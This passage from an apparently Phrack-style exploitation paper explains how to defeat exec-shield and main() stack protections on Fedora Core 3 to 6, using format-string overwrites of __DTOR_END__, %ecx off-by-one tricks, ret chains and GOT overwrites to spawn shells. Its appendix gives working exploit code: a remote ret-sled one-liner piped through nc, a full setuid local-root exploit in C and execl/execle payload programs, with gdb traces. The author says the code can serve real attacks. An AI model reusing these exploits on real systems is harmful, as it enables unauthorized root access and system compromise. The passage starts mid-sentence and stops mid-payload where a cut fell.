the value inside 0x8049570 to %eax register. This is p section which has the address of __DTOR_END__ section. In short, %eax register now has __DTOR_END__ section address. Finally, copy %eax register + 4 addresses to p section. Now, we can change the position of __DTOR_END__ section anywhere we want. Attack process will be like this: (1) Copy the content of p section into empty space in heap. (2) Overwrite p section+4 (completed section) with null to evade comparison. (3) Allocate a function that you want to call to empty space in heap (gdb) br __do_global_dtors_aux ... (gdb) x/8 0x08049800 ; empty space in heap 0x8049800: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049810: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) c Continuing. Breakpoint 2, 0x08048306 in __do_global_dtors_aux () (gdb) set *0x08049800=0x828282 (gdb) x 0x08049800 0x8049800: 0x00828282 ; input garbage value into fake __DTOR_END__ address (gdb) set *0x8049570=0x08049800 (gdb) x 0x8049570 0x8049570: 0x08049800 ; Change the content of p section (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x00828282 in ?? () (gdb) It is not a hard job to insert desired value into some place when you do format string attack. Unfortunately, do_system() function format string attack mentioned at chapter 4.1 must use __DTOR_END__ section to exploit. So, it was impossible to attack till the program is re-compiled if __DTOR_END__ section had terminator character, null character and special character. But, the p section changing skill that we just talked about doesn't need __DTOR_END__ changed. It makes __DTOR_END__ section where you want. Thus, you can exploit the system without any trouble. Look example code to find more. ----[ 4.6 - Format string in classic shellcode library area This is not an efficient attack technique but I want to talk about this because I want to prove that shellcode is still executable through library area. The core of this technique is overwriting shellcode on library area by using format string technique. To make this work, you should enter library address with null into environment variable or argument and brute-force the changing memory address by $-flag. These are the attack procedure: (1) Find useable library address. (2) Input the library address which is for under 16mb as a program argument and find stack by using $-flag (3) Enter little shellcode into library by format string technique (4) Overwrite the library address that holds shellcode with __DTOR_END__ address of the target program. These are the exploit procedure: (1) Find $-flag value to overwrite __DTOR_END__ section with certain value. (2) Find $-flag value to overwrite Shellcode into library address. (3) Get library address and __DTOR_END__ address needed for attack. (4) The address of __DTOR_END__ and format string code that overwrites shellcode on somewhere in library, and format string code that overwrites shellcode's address on __DTOR_END__'s address are going into the first argument. And since second argument, library addresses are saved. (5) Try to attack with increasing PAD value to correct the align with library address we input continually. Find more in example code. ----[ 4.7 - Example code We have seen a few possible technique of format string under exec-shield environment. Some of appendix code at chapter 6 is to prove those 4 attack skills I have mentioned. First, 0x82-remote_do_system.sh script provided at chapter 6.5 is about the remote attack technique mentioned at chapter 4.1. Second, 0x82-p_section_overwrite.c code at 6.6 is for __do_global_dtors_aux() + setuid() + do_system() attack at 4.3 and p section overwrite at 4.5. Third, 0x82-dtors_execv_ex.c at 6.7 is about the __do_global_dtors_aux() + exec family attack technique mentioned at 4.4. Finally, Shellcode attack code at 4.6 is shown at 6.8 0x82-library_terror/part_one.c, 0x82-library_terror/part_two.c --[ 5 - How to exploit since Fedora Core 5 system Those vulnerabilities that I am going to tell you through chapter 5.1 and 5.2 do not seem realistic. I mean , there is almost no chance to occur these vulnerabilities. Because only the prolog and epilog of the main() have been changed. It seems like rough mixture of StackGuard and Stackshield(7.6). On the other hands, at chapter 5.3 we are going to see moving stack pointer over 4bytes which is mentioned at chapter 3.1 and also can be efficient when you do overflow attack on real application at remote. ----[ 5.1 - Changes on main() function prolog and epilog Basic algorithm is pretty similar to StackShield. But it keeps return address in stack not in heap, and puts %ecx register which does similar job with canary of StackGuard near frame pointer to prevent the return address from alteration. * Changed main() prolog since Fedora core 5: (1) lea 0x4(%esp),%ecx (2) and $0xfffffff0,%esp (3) pushl 0xfffffffc(%ecx) (4) push %ebp ; prolog of normal main() (5) mov %esp,%ebp (6) push %ecx (1) Insert address of %esp+4 into %ecx register. (2) Change %esp register address by doing "and" calculation. (%esp & -16) (3) Save return address at %ecx - 4 in recent stack. (4) Save %esp register of previous function in recent stack. (5) Set frame pointer for main() by duplicating %esp into %ebp. (6) Save %ecx register in recent stack and make it does same role with canary. After all these process stack will be: ^ | Address grows this way ... +------------------------------------+ <- Original %esp register address: procedure (1) | | __libc_start_main() return address | | +------------------------------------+ | | ... | | +------------------------------------+ <- %esp register moved by procedure (2) | | __libc_start_main() return address | <- %ecx -4 saved by procedure (3) | +------------------------------------+ | | previous base frame pointer | <- %ebp register of previouse function save by procedure (4) | +------------------------------------+ <- %ebp register moved by procedure (5) | | %ecx register | <- %ecx register saved by procedure (6) | +------------------------------------+ <- %esp register after all those 6 procedures | ... V | Stack grows this way V These are the eplilog procedures. Epilog of main() since F/C 5: (1) pop %ecx (2) pop %ebp (3) lea 0xfffffffc(%ecx),%esp (4) ret (1) Pop %ecx register from stack. (2) Pop %ebp (previous base frame pointer) from stack. (3) Move %esp register to original return address by putting %ecx - 4 address in %esp. (4) Go back to __libc_start_main() function when %eip is popped by ret command. In short, it is impossible to change return address with ordinary stack overflow because of %ecx register which does the same role with canary. ----[ 5.2 - Exploit by using off-by-one exploit with %ecx register Because It is extremely difficult to guess %ecx register, we overwrite the last 1byte with NULL. Now, we need to enter address which will be return address into %ecx-4 whose 1byte has been changed into null. It is similar to frame pointer that changes return address indirectly. (7.5) Enter ret code from address will be return address to 4byte before the end of usable space. And make the last 4byte to execute main() epilog twice. We execute epilog one more time because it moves %esp register near argument pointer and environment variable pointer. (Similar concept mentioned at chapter 3.4) By making %ecx register to have environment variable pointer when it is restored on main() epilog, we can make %ecx-4 which is the position of %esp register be declared environment variable code. Brief of attack is below. Making attack code: Fill all local variable but last 4byte with ret code. By doing so, we can make return address ret code address by %ecx register off-by-one technique. If we make stack like the picture below, We can do main() epilog twice and call execve() function refer to the environment variable below. ^ | Stack grows this way ... +-------------------+ | ret(pop %eip) |: Fill overflowed local variable with +-------------------+ | ret(pop %eip) | +-------------------+ | ret(pop %eip) | +-------------------+ | ret(pop %eip) | +-------------------+ | ret(pop %eip) |: (2) Pop %eip from forged %ecx - 4 +-------------------+ <<----------------------------------------------------------------+ | ret(pop %eip) |: (3) move %esp by 4bytes | +-------------------+ | | ret(pop %eip) |: (3) move %esp by 4bytes | +-------------------+ | | ret(pop %eip) |: (3) move %esp by 4bytes | +-------------------+ | | ... |: (3) move %esp by 4bytes | +-------------------+ | | main() epilog |: (4) recall epilog of main(). ----------------------+ | +-------------------+ | | | 0x??????00 |: (1) The last byte of %ecx register become null, --------------+--+ +-------------------+ | | ... | | +-------------------+ | | argument0 pointer |: argument pointer starts here. | +-------------------+ | | argument1 pointer | | +-------------------+ | | null(0x00000000) |: argument pointer ends here. | +-------------------+ | | environ0 pointer |: environment variable pointer starts here. | +-------------------+ | | environ1 pointer | | +-------------------+ | | environ2 pointer | | +-------------------+ | | environ3 pointer | | +-------------------+ | | ... | | +-------------------+ | | environ25 pointer | | +-------------------+: 27th environment variable pointer | | environ26 pointer | <<-------------------------------------------------------------+ +-------------------+: (5) pop %ecx into forged %esp register. ----------------------------+ | environ27 pointer | | +-------------------+ | | ... | | +-------------------+ | ... | | stack grows this way | V | | Making environment variables: | | Let's say there is a stack overflow vulnerability in a program that uses | array size of 256. in this case, when we call main() epilog continually %ecx | register points 27th environment variable¡¯s address. It recognizes %ecx-4 | as a return address, so 27th env variable -4 which means 26th env variable | will be considered as a return address. You can see there is execve() at the | position of 26th env variable. | | ... | +------------------+ | | execve() addr |: execve() function address (26th env variable which will be %ecx - 4) | +------------------+ | | "XXXX" |: 4byte dummy (27th env variable: environ26) <<------------------------+ +------------------+ | "/bin/sh" addr |: will be the first argument of execve() (input "sh" address in library) +------------------+ | '\0' |: will be the second argument of execve() (0x00000000) +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ | '\0' |: will be the third argument of execve() (0x00000000) +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ | '\0' | +------------------+ ... Execution of shellcode through exeve() and environment variable pointer is similar to the technique mentioned at 3.4. Find more in example code. ----[ 5.3 - Overflow exploit overwriting __DTOR_END__ section On this chapter, we are going to talk about getting shell by overflow since F/C 5. If you could not find a good condition to attack with only ret code, then you should look this chapter. We can move stack pointer by %esp register moving technique at chapter 3.1. fedora core 6 glibc 2.5, gcc 4.1.1-30: <__libc_csu_init>: ... add $0x1c,%esp pop %ebx pop %esi pop %edi ; move %esp 12bytes from here pop %ebp ret ; pop %eip <__do_global_ctors_aux>: ... add $0x4,%esp pop %ebx ; move %esp 12bytes from here pop %ebp ret ; pop %eip The main idea of this chapter is deeply related to multiple calling of copy function from Nergal(7.7). It is a technique that puts address of function that you desire to execute(such as system function, do_system function and exec family) into __DTOR_END__ like format string attack. First, we will see attack through do_system function. This technique doesn't use stack at all. On the others hands, system function and exec family function need to use stack to attack the system. Attack process of do_system() function: (1) Find 1byte of address of do_system() function and sh string from program. And enter them in __DTOR_END__ section. (2) Develop the way to move %esp by 12bytes by using plt copy function, __do_global_ctors_aux() function epilog, and the address we found previously. Eventually, these codes are used for copying do_system() address and "sh" string to __DTOR_END__ section. <- Stack grows this way Address grows this way -> +------------+------+-----------+-----------+------------+------+-----------+-----------+-----+ | strcpy plt | eplg | func_arg1 | func_arg2 | strcpy plt | eplg | func_arg1 | func_arg2 | ... | +------------+------+-----------+-----------+------------+------+-----------+-----------+-----+ ^ ^ | | +----------------------------------------+ __do_global_ctors_aux()'s epilog (12byte) (3) After making copy function, make %eip register that popped last have the address of __do_global_dtors_aux() function address. if you execute __do_global_dtors_aux() like this, do_system() copied to __DTOR_END__ section would be called by command "call *%edx" and, finally, will spawn a shell. More details are below: fedora core 6 glibc 2.5, gcc 4.1.1-30: Making attack code: We will call strcpy() (copy function) several times by using 12byte %esp move technique. Finding 1byte for each do_system() function address and "sh" string in heap is still bugging but not a big deal. ^ | Stack grows this way ... +--------------------------------+ | buffer |: overflowed local variables +--------------------------------+ | strcpy() plt |: Get by ascii-armor by calling plt copy function +--------------------------------+ | __do_global_ctors_aux() epilog | +--------------------------------+ | __DTOR_END__+0 | +--------------------------------+ | (&do_system()>>0)&0xff |: 1byte of do_system() address found in program's text area +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() epilog | +--------------------------------+ | __DTOR_END__+1 | +--------------------------------+ | (&do_system()>>8)&0xff |: 1byte of do_system() address found in program's text area +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() epilog | +--------------------------------+ | __DTOR_END__+2 | +--------------------------------+ | (&do_system()>>16)&0xff |: 1byte of do_system() address found in program's text area +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() epilog | +--------------------------------+ | __DTOR_END__+3 | +--------------------------------+ | (&do_system()>>24)&0xff |: 1byte of null of do_system() address found in program's text area +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() epilog | +--------------------------------+ | __DTOR_END__+4 | +--------------------------------+ | 's' |: 1byte of 'sh' string found in program's text area +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() epilog | +--------------------------------+ | __DTOR_END__+5 | +--------------------------------+ | 'h' |: 1byte of 'sh' string found in program's text area +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() epilog | +--------------------------------+ | __DTOR_END__+6 | +--------------------------------+ | null(0x00) |: 1byte null found in program's text area +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() epilog | +--------------------------------+ | __DTOR_END__+7 | +--------------------------------+ | null(0x00) |: 1byte null found in program's text area +--------------------------------+ | __do_global_dtors_aux() |: called by ret(pop %eip) code +--------------------------------+ ... | Address grows this way V Buffer will be like this when the attack succeeds: Result of debugging fedora core 6 glibc 2.5, gcc 4.1.1-30 exploit: (gdb) br *do_system Breakpoint 1 at 0xb517d0 (gdb) r ... Breakpoint 1, 0x001457d0 in do_system () from /lib/libc.so.6 (gdb) print do_system $1 = {} 0x1457d0 (gdb) x &__JCR_LIST__-1 0x80494c8 <__DTOR_END__>: 0x001457d0 ; do_system() function address (gdb) 0x80494cc <__JCR_LIST__>: 0x00006873 ; 'sh' string (gdb) 0x80494d0 <_DYNAMIC>: 0x00000001 (gdb) 0x80494d4 <_DYNAMIC+4>: 0x00000010 (gdb) x $eax 0x80494cc <__JCR_LIST__>: 0x00006873 (gdb) This time, we will talk about attack technique which uses system function and exec family function. These functions need stack to do their job. Attack Process: (1) Find 1byte of address of function that you wish to run. This 1byte will be entered into __DTOR_END__ section. (2) As I mentioned before, copy the function address to __DTOR_END__ section by using plt function and moving %esp by 12bytes. At this moment, you can create desired command on heap ,just like do_system() attack, or you also can attack only using symlink. (3) Let the %eip register popped last have address right after __do_global_dtor_aux() function prolog. This will help stack pointer to be the same and we can make function argument easily because of this. fedora core 6 glibc 2.5, gcc 4.1.1-30: Making attack code: It uses same technique with moving %esp by 12bytes previously introduced. It calls strcpy() function several times. This function will find 1byte of 'sh' string and 1byte of address of execve() function from heap and copy this. ^ | Stack grows this way ... +--------------------------------+ | buffer |: Will be overflowed local variable +--------------------------------+ | strcpy() plt |: Get by ascii-armor by using plt call. +--------------------------------+ | __do_global_ctors_aux() eiplog | +--------------------------------+ | __DTOR_END__+0 |: dest +--------------------------------+ | (&execve()>>0)&0xff |: src - 1byte of execve() address found from text area of the program +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() eiplog | +--------------------------------+ | __DTOR_END__+1 | +--------------------------------+ | (&execve()>>8)&0xff |: 1byte of execve() address found from text area of the program +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() eiplog | +--------------------------------+ | __DTOR_END__+2 | +--------------------------------+ | (&execve()>>16)&0xff |: 1byte of execve() address found from text area of the program +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() eiplog | +--------------------------------+ | __DTOR_END__+3 | +--------------------------------+ | (&execve()>>24)&0xff |: 1byte of null in execve() address found from text area of the program +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() eiplog | +--------------------------------+ | __DTOR_END__+4 | +--------------------------------+ | 's' |: 1byte of 'sh' string found from text area of the program +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() eiplog | +--------------------------------+ | __DTOR_END__+5 | +--------------------------------+ | 'h' |: 1byte of 'sh' string found from text area of the program +--------------------------------+ | strcpy() plt | +--------------------------------+ | __do_global_ctors_aux() eiplog | +--------------------------------+ | __DTOR_END__+6 | +--------------------------------+ | null(0x00) |: 1byte of null found from text area of the program +--------------------------------+ | __do_global_dtors_aux()+6 |: Address right after __do_global_dtors_aux() prolog +--------------------------------+ | address of 'sh' string |: the first argument of execve() +--------------------------------+ | any null value address on heap |: the second argument of execve() +--------------------------------+ | any null value address on heap |: the third argument of execve() +--------------------------------+ ... | Address grows this way V After attack buffer will be like this: Debug report of fedora core 6 glibc 2.5, gcc 4.1.1-30 exploit: (gdb) r Starting program: /tmp/local_ex_test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. 0x0019dbff in ?? () (gdb) x 0x08049488 0x8049488: 0x0019dbff ; Address of execve() overwritten on __DTOR_END__ section (gdb) 0x804948c: 0x00006873 ; 'sh' string (gdb) 0x8049490: 0x00000000 (gdb) x $eax 0x804948c: 0x00006873 (gdb) x $esp 0xbfe2810c: 0x0804831b (gdb) 0xbfe28110: 0x0804948c ; the first argument of execve() (gdb) 0xbfe28114: 0x08048008 ; the second argument of execve() (gdb) 0xbfe28118: 0x08048008 ; the third argument of execve() (gdb) x 0x0804948c 0x804948c: 0x00006873 (gdb) x 0x08048008 0x8048008: 0x00000000 (gdb) x 0x08048008 0x8048008: 0x00000000 (gdb) As we can control the stack pointer and the value, we can make arguments of execve() as we want. In addition, "/bin/sh" code in library is located at address under 16 mb ,so with some function that uses a few argument such as system() it can be used for remote attack. exec family function can copy 'sh' string on heap and symlink with a program to execute a shell just like do_system() attack. To make the exploit more adaptable to other systems, we may need to find address of do_system() and "sh" string from ELF header or the starting of the program's text area. Surely, the binaries compiled at similar environment would have same static and same address. Here is a little tip. If you want to attack a real application, then you should look for these functions below. Names of these functions are listed on heap, so you can get 'sh' string from that. bdflush() tcflush() fflush() [root@localhost src]# objdump -d cfingerd | grep ':' 08048ff0 : [root@localhost src]# gdb in.cfingerd -q Using host libthread_db library "/lib/libthread_db.so.1". (gdb) x/s 0x08048705 0x8048705: "__gmon_start__" (gdb) 0x8048714: "libc.so.6" (gdb) 0x804871e: "_IO_stdin_used" (gdb) 0x804872d: "socket" (gdb) 0x8048734: "fflush" (gdb) x/s 0x8048738 0x8048738: "sh" (gdb) Thus, we, now, can make highly adaptable exploit code for a specific application. Refer example code for more details. ----[ 5.4 - Overflow exploit overwriting GLOBAL OFFESET TABLE Technique on this chapter is similar to function execute skill at chapter 5.3. When you cannot use _do_global_dtor_aux() function or you don't know the address of both p section and __DTOR_END__, you can try this technique. I will not talk details about plt and got. Our job is to find useful stuff from inside of program and analyze that. Generally, plt is made like this fedora core 6 glibc 2.5, gcc 4.1.1-30: : jmp *_GLOBAL_OFFSET_TABLE_ push $n jmp _dl_runtime_resolve If we call func's plt after changing its _GLOBAL_OFFSET_TABLE_ section to execve(), it would be: jmp execve(); __do_global_dtors_aux() function stores its %eip register as a return address, because the function uses "call execve()" command. But, on the contrary, when you attack through GOT section, unlike call function, it doesn't store return address as a stack pointer. So we need to insert 4bytes of dummy on behalf of %eip register. It is a very small difference but also very critical thing for a attacker to make arguments for related function. fedora core 6 glibc 2.5, gcc 4.1.1-30: Making attack code: Change GOT section for __libc_start_main() with address of execve() function by multiple plt calling. It is same as moving %esp by 12byte technique at chapter 5.3. Anyway, It will execute desired function by referring it's stack pointer when you call the function¡¯s plt. ^ | Stack grows this way ... +--------------------------------------------+ | strcpy() plt | +--------------------------------------------+ | __do_global_ctors_aux() eiplog | +--------------------------------------------+ | __libc_start_main() _GLOBAL_OFFSET_TABLE+0 | +--------------------------------------------+ | (&execve()>>0)&0xff | +--------------------------------------------+ | strcpy() plt | +--------------------------------------------+ | ... abbreviation ... | +--------------------------------------------+ | __libc_start_main() plt |: __libc_start_main() function's plt +--------------------------------------------+ | dummy 4byte |: you must enter this because execve() function is called by jmp +--------------------------------------------+ | 'sh' string address |: the first argument of execve() +--------------------------------------------+ | Null value address on heap |: the second argument of execve() +--------------------------------------------+ | Null value address on heap |: the third argument of execve(). +--------------------------------------------+ ... | Address grows this way V After the attack buffer will be: Debug report for fedora core 6 glibc 2.5, gcc 4.1.1-30 exploit: (gdb) r Starting program: /tmp/local_ex_test (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. 0x0019dbff in ?? () (gdb) x 0x08049570 0x8049570: 0x0019dbff ; execve() function address overwritten on __libc_start_main GOT section (gdb) 0x8049574: 0x00006873 ; 'sh' string (gdb) x $esp 0xbfa3b520: 0x82828282 ; dummy 4byte (gdb) 0xbfa3b524: 0x08049574 ; the first argument of execve() (gdb) 0xbfa3b528: 0x08048008 ; the second argument of execve() (gdb) 0xbfa3b52c: 0x08048008 ; the third argument of execve() (gdb) x 0x08049574 0x8049574: 0x00006873 (gdb) x 0x08048008 0x8048008: 0x00000000 (gdb) x 0x08048008 0x8048008: 0x00000000 (gdb) Compare to prior attack technique at chapter 5.3, there are some differences. First, it changes GOT section to execve() function address. second, it uses plt to jump to that function. third, it must have 4bytes of dummy value. You can find more in example code. ----[ 5.5 - Example code I have mentioned several changes and exploit technique for that since F/C 5. The appendix attached at chapter 6.9 is to prove the contents of chapter 5.1. %ecx off-by-one exploit is 0x82-x_strcpy.c code provided at 6.9. I have attached it with the debugging result please take a glance at that too. Remote exploit code for chapter 5.3 is 0x82-remote_x_strcpy.c at 6.10. 0x82-local-x_execve.c code at chapter 6.11 is for execve exploit. At last, 0x82-local_got_execve.c at chapter 6.12 is for GOT exploit at chapter 5.4. --[ 6 - Appendix Since this chapter I will try to show you some example codes to prove what I have been saying from the start of this paper. I, sometimes, will put some note on the code. These notes can be used for real exploit and also can be JUST for Proof-of-Concept. ----[ 6.1 - ret(pop %eip) remote stack overflow exploit This is the code for POC 2006 conference. I didn't put enough effort and time for this script. I admit it! This is very uncomfortable to debug. It is only to test on F/C 3. -- rvuln.c -- #include int main(int argc,char *argv[]) { char buf[8]; gets(buf); } -- I have set rvuln program as a fido service deamon through setting xinetd. below is simple exploit script. -- 0x82-remote_ret.sh -- #!/bin/sh # # Remote ret(pop eip) exploit # by Xpl017Elz # # 0x08048394 : ret # (printf "aaaabbbbx;sh\x94\x83\x04\x08\x94\x83\x04\x08\x94\x83\x04\x08\x94\x83\x04\x08\x94\x83\x04\ \x08\xc0\xc7\xee\xf6";cat) | nc localhost fido # # EOS # -- You can guess ret code from remote, or can find by doing this. -- [x82@localhost tmp]$ objdump -d rvuln | grep ret 804828e: c3 ret 8048304: c3 ret 8048339: c3 ret 8048365: c3 ret 8048394: c3 ret 80483e9: c3 ret 804842d: c3 ret 8048453: c3 ret 804846d: c3 ret [x82@localhost tmp]$ -- ----[ 6.2 - ret(pop %eip) + symlink local stack overflow exploit This exploit code is tested on F/C 4. This can also attack F/C 5 and 6. To test the code, The target program has to be setuid. (It doesn't matter whether it is root or not) -- vuln.c -- int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); return 0; } -- Attack code is below: -- 0x82-break_FC4.c -- /* ** ** Code name: 0x82-break_FC4.c ** Description: Fedora Core Linux 4 based stack overflow exploit (POC-local) ** -- ** ** This succeeds in attack in random library environment. ** It can execute shell easily through magic return address. ** ** It executes execve() function through __libc_csu_init()'s some area. ** When it's put to '$esp+0xc', our exploit can succeed. ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.inetcop.org ** */ #include #include #include #include #include #include #define GDB "/usr/bin/gdb" #define LDD "/usr/bin/ldd" #define GCC "/usr/bin/gcc" #define GREP "/bin/grep" #define OBJDUMP "/usr/bin/objdump" #define AWK "/bin/awk" #define SED "/bin/sed" #define HEAD "/usr/bin/head" #define MAGIC_LIB_ADDR (0x00111000+0x0008d1ac) /* It's my system magic address */ void safe_exit(); int banrl(); unsigned long __get_random_library(char *p); unsigned long __get_random_library_gdb_version(char *p); unsigned long __get_ret_command(char *p); int make_sh_link(char *p); char link_buf[256]; void safe_exit() { unlink(link_buf); unlink("gdb-script"); fprintf(stdout," [*] Ok, exploit end.\n\n"); exit(-1); } int banrl() { fprintf(stdout,"\n 0x82-break_FC4 - Fedora Core Linux 4 based stack overflow exploit (POC-local)\n\n"); } int main(int argc,char *argv[]) { struct stat tg_st; pid_t pid; unsigned char atk_buf[0xffff]; unsigned long __execve_addr_gdb_type=0; unsigned long __execve_addr=0; unsigned long __ret_code=0; int i=0,j=0; signal(SIGINT,safe_exit); signal(SIGTSTP,safe_exit); (int)banrl(); if(argc<5) { fprintf(stdout," Usage: --\n %s [program path] [buffer size] [brute-force count] [ret count]\n",argv[0]); fprintf(stdout," Ex> %s ./strcpy 8 30 9\n --\n\n",argv[0]); exit(-1); } fprintf(stdout," [+] get target program information.\n"); if(stat(argv[1],&tg_st)!=0) { fprintf(stderr," [-] %s: target program error.\n\n",argv[1]); exit(-1); } #define CHK_BIT(m,S) (((m)&S)==S) if(CHK_BIT(tg_st.st_mode,S_ISUID)||CHK_BIT(tg_st.st_mode,S_ISGID)) { fprintf(stdout," [*] OK, It's setuid or, setgid program.\n"); } else { fprintf(stderr," [-] %s: It's not setuid or setgid program.\n\n",argv[1]); exit(-1); } fprintf(stdout," [+] get execve() address.\n"); memset((u_char *)atk_buf,0,sizeof(atk_buf)); __execve_addr=__get_random_library(argv[1]); __execve_addr_gdb_type=__get_random_library_gdb_version(argv[1]); fprintf(stdout," [+] normal user library execve() address: %p\n",__execve_addr); fprintf(stdout," [+] set user id library execve() address: %p\n",__execve_addr_gdb_type); __execve_addr=(MAGIC_LIB_ADDR); fprintf(stdout," [*] magic library execve() address: %p\n",__execve_addr); fprintf(stdout," [+] get ret code address.\n"); __ret_code=__get_ret_command(argv[1]); fprintf(stdout," [+] ret code address: %p\n",__ret_code); fprintf(stdout," [+] ret code count: %d\n",atoi(argv[4])); make_sh_link(argv[1]); fprintf(stdout," [+] make exploit code.\n"); for(i=0;i:/,/^08/p' | " "%s -F\"\\t\" {'print $2'}",OBJDUMP,p,SED,AWK); if((fp=(FILE *)popen(link_buf,"r"))==NULL) { fprintf(stderr," [-] popen() error\n"); exit(-1); } memset((char *)link_buf,0,sizeof(link_buf)); while(fread(&i,1,1,fp)) { if(i==0x0a||i==0x20) { if(strlen(s)<2) { continue; } snprintf(s,sizeof(s)-1,"0x%c%c",s[0],s[1]); link_buf[k++]=strtoul(s,0,0); memset((char *)s,0,sizeof(s)); j=0; } else { s[j++]=i; } } pclose(fp); strncpy(srcname,link_buf,sizeof(srcname)-1); strcat(srcname,".c"); fprintf(stdout," [+] make shell code.\n"); if((fp=fopen(srcname,"w"))==NULL) { fprintf(stderr," [-] fopen() error\n"); exit(-1); } fprintf(fp,"int main() {\n"); fprintf(fp,"\tsetreuid(geteuid(),geteuid());\n"); fprintf(fp,"\tsetregid(getegid(),getegid());\n"); fprintf(fp,"\tsystem(\"/bin/sh\");\n"); fprintf(fp,"}\n"); fclose(fp); snprintf(gcc_buf,sizeof(gcc_buf)-1,"%s -o %s %s",GCC,link_buf,srcname); system(gcc_buf); unlink(srcname); } unsigned long __get_random_library_gdb_version(char *p) { char buf[256]; FILE *fp; long execve_addr=0; memset((char *)buf,0,sizeof(buf)); if((fp=fopen("gdb-script","w"))==NULL) { fprintf(stderr," [-] fopen error\n"); exit(-1); } fprintf(fp,"r x0x\nx execve\n"); fclose(fp); snprintf(buf,sizeof(buf)-1, "%s %s -batch -x gdb-script | %s -w execve | %s -F\" \" {'print $1'}",GDB,p,GREP,AWK); if((fp=(FILE *)popen(buf,"r"))==NULL) { fprintf(stderr," [-] popen() error\n"); exit(-1); } memset((char *)buf,0,sizeof(buf)); fgets(buf,sizeof(buf),fp); pclose(fp); execve_addr=strtoul(buf,0,0); return execve_addr; } /* eoc */ -- This is a Proof-of-Concept code that attacks general stack overflow vulnerability in main() through argv[1] argument. It's very simple to use. -- Usage: ./0x82-break_FC4 [target program][size of buffer][Attack frequency][Ret code frequency] -- As you see above, the target program is strcpy and the buffer size is 256. You should give the frequency (repeat number) of the attack to attack random library. This code will repeat as many times as you gave unless the execve() function address that exploit itself found in library is match to the execve() function address of the real target program (strcpy this time). As I said before, I could succeed the attack after 9 times of moving %esp by ret code. ( maybe you can make another brute-force script with ret code frequency) Though the target program is compiled with -fomit-frame-pointer option, the course of attack is not that different. You just need to compile the exploit with this option. -- $ gcc -o 0x82-break_FC4 0x82-break_FC4.c -DFOMIT_FRAME_POINTER -- With this option on, the exploit will skip overwriting %ebp register and work well. One thing funny is that there is a specific address in library that is likely to be mapped. So I call the address "magic library address" in my exploit code. ----[ 6.3 - ret(pop %eip) + environment local stack overflow exploit Codes below are tested on F/C 4 and when you manipulate number of ret code and the address of exec family function it will work on F/C 5 and 6. On F/C 4, this code worked with 38 times of ret codes and worked on F/C 6 with 46 times. -- vuln.c -- #include int main(int argc,char *argv[]) { char buf[8]; strcpy(buf,argv[1]); return 0; } -- You need another shell program code for exploit to execute. -- sh.c -- int main() { setuid(0); setgid(0); execl("/bin/sh","sh","-p",0); } -- ------[ 6.3.1 - execl() local exploit If the command "/bin/ls -al" was executed, the attack was successful. You can change the command and argument for environment variable. This code doesn't need any shellcode like sh.c at chapter 6.3 to operate. That makes this code relatively clean. :-) -- 0x82-x_execl.c -- /* 0x82-x_execl.c */ int main() { char *environs[]={ "/bin/ls", /* environ0: /bin/ls */ "ls", /* environ1: ls */ "-al", /* environ2: -al */ 0}; /* execl("/bin/ls","ls","-al",0); */ char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08" /* ret code number: 38 */ "\x5c\x24\x7a", /* execl() */ 0}; execve("./vuln",arguments,environs); } -- ------[ 6.3.2 - execle() local exploit This is a code that uses sh program at 6.3. One thing special for this code is that this code uses argument pointer to attack instead of environment variable pointer. Doing this is to enter null(0x00000000) into the second and the third argument of execv family function. It is different from other technique that enter a address of pointer that points null code. To make this continuous null(0x00000000) I used both null codes of end of environment variable pointer and argument pointer. -- 0x82-x_execle.c -- /* 0x82-x_execle.c */ /* execle() function needs Null code directly unlike other exeve*() function needs pointer. */ int main() { char *environs[]={0}; /* third argument of execle(): 0x00000000 */ char *arguments[]={ "./vuln", /* argument0 */ /* argument1 */ "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" "\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08" 